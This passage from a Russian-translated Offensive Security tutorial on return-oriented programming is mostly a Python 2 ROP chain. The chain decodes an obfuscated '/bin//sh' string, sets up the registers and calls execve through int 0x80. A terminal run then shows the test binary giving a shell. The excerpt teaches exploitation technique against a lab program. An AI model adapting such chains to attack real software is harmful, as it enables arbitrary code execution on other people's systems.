                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+4)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt '/'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+5)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 's'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+6)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # decrypt 'h'
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+7)                # @ .data
                p += pack("<I", 0x080c34a9)                  # mov (%edx),%ecx | ret
                p += pack("<I", 0x080ce3c8)                  # xor $0x77,%ecx | ret
                p += pack("<I", 0x08058770)                  # mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x41424344)                  # padding
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # set NULL bytes
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+8)                # @ .data + 7
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+9)                # @ .data + 8
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+10)               # @ .data + 9
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e0+11)               # @ .data + 10
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08079e0d)                  # mov %eax,(%edx) | ret

                # set register for execve
                p += pack("<I", 0x08048144)                  # pop %ebx | ret
                p += pack("<I", 0x080ce3e0)                  # @ .data
                p += pack("<I", 0x080bc924)                  # pop %ecx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8
                p += pack("<I", 0x08050eaa)                  # pop %edx | ret
                p += pack("<I", 0x080ce3e8)                  # @ .data + 8

                # set eax pour execve syscall
                p += pack("<I", 0x080577b0)                  # xor %eax,%eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x08069f78)                  # inc %eax | ret
                p += pack("<I", 0x080491f9)                  # int $0x80

                print p
                jonathan@ArchLinux [rop-ids] $ ./main "$(python2 ./test-ids3.py)" 
                sh-4.2$ 

Таким образом, вы можете создавать свои собственные гаджеты и затем использовать их. Эти методы будут добавлены в следующих версиях ROPgadget.

© Offensive Security 2011


1 гаджет (gadget) в возвратно-ориентированном программировании – последовательность инструкций, заканчивающаяся инструкцией возврата (ret). (прим. пер.)

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться